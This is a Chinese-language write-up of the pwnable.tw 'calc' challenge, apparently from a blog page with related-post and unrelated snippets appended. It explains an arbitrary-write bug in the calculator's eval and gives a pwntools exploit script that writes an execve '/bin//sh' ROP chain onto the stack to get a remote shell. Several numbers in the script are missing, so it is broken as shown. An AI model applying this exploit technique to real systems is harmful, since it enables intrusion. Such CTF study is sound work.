pwnable.tw calc
题目代码量比较大(I is so vegetable:b),找了很久才发现一个能利用的漏洞
运行之发现是一个计算器的程序,简单测试下发现当输入的操作数超过10位时会有一个整型溢出
这里调试了一下发现是printf("%d",num[num-1])时要输出的结果超过了2^31,2147483648即0x80000000,所以这应该算是一个bug并不是一个可利用的漏洞(32位程序最大输出2^31的原因是int类型最高位是符号标志位)
下面我们逆向一下整个程序找到真正可利用的漏洞
其中get_expr函数在读入时会进行字符的过滤,只会读取+-*/%和数字。可以看到get_expr和parse_expr前都会进行expression和num栈空间清零,这里num记录的是进行parse_expr时数字的总个数
下面看一下parse_expr函数
以下根据符号求表达式值过程省略,可以看到get_expr函数进行表达式求值处理的过程也是不存在漏洞的。
这里真正存在的漏洞是eval中的一个任意地址写的漏洞,我们在calc的返回地址栈空间利用这个任意地址写构造一个ROP即可
这里最暴力的方法是利用ROPgadget生成ropchain,然后利用eval的任意地址写直接修改内存即可
from pwn import * context.log_level='DEBUG' r=remote('chall.pwnable.tw',) r.recv() from struct import pack # Padding goes here p = '' p += pack('<I', 0x080701aa) # pop edx ; ret p += pack('<I', 0x080ec060) # @ .data p += pack('<I', 0x0805c34b) # pop eax ; ret p += '/bin' p += pack('<I', 0x0809b30d) # mov dword ptr [edx], eax ; ret p += pack('<I', 0x080701aa) # pop edx ; ret p += pack('<I', 0x080ec064) # @ .data + p += pack('<I', 0x0805c34b) # pop eax ; ret p += '//sh' p += pack('<I', 0x0809b30d) # mov dword ptr [edx], eax ; ret p += pack('<I', 0x080701aa) # pop edx ; ret p += pack('<I', 0x080ec068) # @ .data + p += pack('<I', 0x080550d0) # xor eax, eax ; ret p += pack('<I', 0x0809b30d) # mov dword ptr [edx], eax ; ret p += pack('<I', 0x080481d1) # pop ebx ; ret p += pack('<I', 0x080ec060) # @ .data p += pack('<I', 0x080701d1) # pop ecx ; pop ebx ; ret p += pack('<I', 0x080ec068) # @ .data + p += pack('<I', 0x080ec060) # padding without overwrite ebx p += pack('<I', 0x080701aa) # pop edx ; ret p += pack('<I', 0x080ec068) # @ .data + p += pack('<I', 0x080550d0) # xor eax, eax ; ret p += pack('<I', 0x0807cb7f) # inc eax ; ret p += pack('<I', 0x0807cb7f) # inc eax ; ret p += pack('<I', 0x0807cb7f) # inc eax ; ret p += pack('<I', 0x0807cb7f) # inc eax ; ret p += pack('<I', 0x0807cb7f) # inc eax ; ret p += pack('<I', 0x0807cb7f) # inc eax ; ret p += pack('<I', 0x0807cb7f) # inc eax ; ret p += pack('<I', 0x0807cb7f) # inc eax ; ret p += pack('<I', 0x0807cb7f) # inc eax ; ret p += pack('<I', 0x0807cb7f) # inc eax ; ret p += pack('<I', 0x0807cb7f) # inc eax ; ret p += pack('<I', 0x08049a21) # int 0x80 def set_val(addr): r.sendline('+'+str(addr)) val=int(r.recv()) if val>: r.sendline('+'+str(addr)+'-'+str(val)+'+'+str(u32(p[(addr-)*:(addr-+)*]))) else: r.sendline('+'+str(addr)+'+'+str(-val)+'+'+str(u32(p[(addr-)*:(addr-+)*]))) r.recv() for i in range(,+len(p)/): set_val(i) r.interactive()
pwnable.tw calc的更多相关文章
- pwnable.tw applestore
存储结构 0x804B070链表头 struct _mycart_binlist { int *name; //ebp-0x20 int price; //ebp-0x1c struct _mycar ...
- pwnable.tw silver_bullet
产生漏洞的原因 int __cdecl power_up(char *dest) { char s; // [esp+0h] [ebp-34h] size_t new_len; // [esp+30h ...
- pwnable.tw hacknote
产生漏洞的原因是free后chunk未置零 unsigned int sub_80487D4() { int index; // [esp+4h] [ebp-14h] char buf; // [es ...
- pwnable.tw dubblesort
(留坑,远程没打成功) int __cdecl main(int argc, const char **argv, const char **envp) { int t_num_count; // e ...
- pwnable.tw start&orw
emm,之前一直想做tw的pwnable苦于没有小飞机(,今天做了一下发现都是比较硬核的pwn题目,对于我这种刚入门?的菜鸡来说可能难度刚好(orz 1.start 比较简单的一个栈溢出,给出一个li ...
- 【pwnable.tw】 starbound
此题的代码量很大,看了一整天的逻辑代码,没发现什么问题... 整个函数的逻辑主要是红框中两个指针的循环赋值和调用,其中第一个指针是主功能函数,第二个数组是子功能函数. 函数的漏洞主要在main函数中, ...
- Pwnable.tw start
Let's start the CTF:和stdin输入的字符串在同一个栈上,再准确点说是他们在栈上同一个地址上,gdb调试看得更清楚: 调试了就很容易看出来在堆栈上是同一块地址.发生栈溢出是因为:r ...
- pwnable.tw orw
orw 首先,检查一下程序的保护机制 开启了canary保护,还是个32位的程序,应该是个简单的题
- pwnable.tw unexploitable 分析
这题是和pwnable.kr差不多的一道题,主要区别在于没有给syscall.所以需要自己去找. 只有read和sleep两个函数. 思路一是首先劫持堆栈到bss段,然后调用read函数将sleep的 ...
随机推荐
- PHP7.0-PHP7.3新特性与变更
到目前为止,PHP7发布已经升级到7.3,本文来总结一下每个版本的变更与新特性 PHP7.0 1. 组合比较符 (<=>) 组合比较符号用于比较两个表达式.当$a小于.等于或大于$b时它分 ...
- JS confirm或alert对话框中的换行
如题. alert.confirm对话框的换行可以使用回车符或换行符:\n,\r 也可以使用回车符或换行符对应的unicode编码:\u000a,\u000d,这是等效的. //确认信息 var co ...
- 认识 WebService
什么是服务? 1)现在的应用程序变得越来越复杂,甚至只靠单一的应用程序无法完成全部的工作.更别说只使用一种语言了. 2)大家在写应用程序查询数据库时,并没有考虑过为什么可以将查询结果返回给上层的应用 ...
- mysql-笔记 架构
1 第一层:连接处理.授权认证.安全 2 第二层:内置函数.解析.优化.跨存储引擎的功能:存储过程.触发器.视图 3 第三层:数据在存储和提取,底层函数(如开始事务)不解析sql.存储引擎之间不相互通 ...
- PowerDesigner 批量添加字段
Option Explicit Dim mdl ' the current model Set mdl = ActiveModel Dim Tab 'running table Dim col_1 D ...
- jenkins针对不同的项目组对用户进行权限分配
因jenkins上存有de(开发).te(测试)等三个不同环境的项目,同时因为项目需求,需要对不同的开发及测试人员配置不同的jenkins权限,即以项目为单位,对不同人员进行不同权限配置,要求如下: ...
- Codeforces 1092C Prefixes and Suffixes(思维)
题目链接:Prefixes and Suffixes 题意:给定未知字符串长度n,给出2n-2个字符串,其中n-1个为未知字符串的前缀(n-1个字符串长度从1到n-1),另外n-1个为未知字符串的后缀 ...
- logstash的output配置中指定elasticsearch的template
转自:https://blog.csdn.net/felix_yujing/article/details/78930389 之前采用的是通过filebeat收集nginx的日志,直接到elastic ...
- 第一篇-生成可运行得exe文件
1. 项目 --> 属性 2. 配置 -->Release 3. 如果可以在其他电脑运行可以不进行下面的,如果不能运行,选择代码生成-->运行库-->MT 4. 完成上述步骤后 ...
- 服务器配置 ssl 证书
最近因为公司的 服务器 ssl证书即将到期(服务器 和 ssl证书管理都在 腾讯云上), 所以为了能顺利的 重新申请 ssl证书 ,我和小伙伴 在他的个人服务器上尝试了一波(我们居然都不会 ...) ...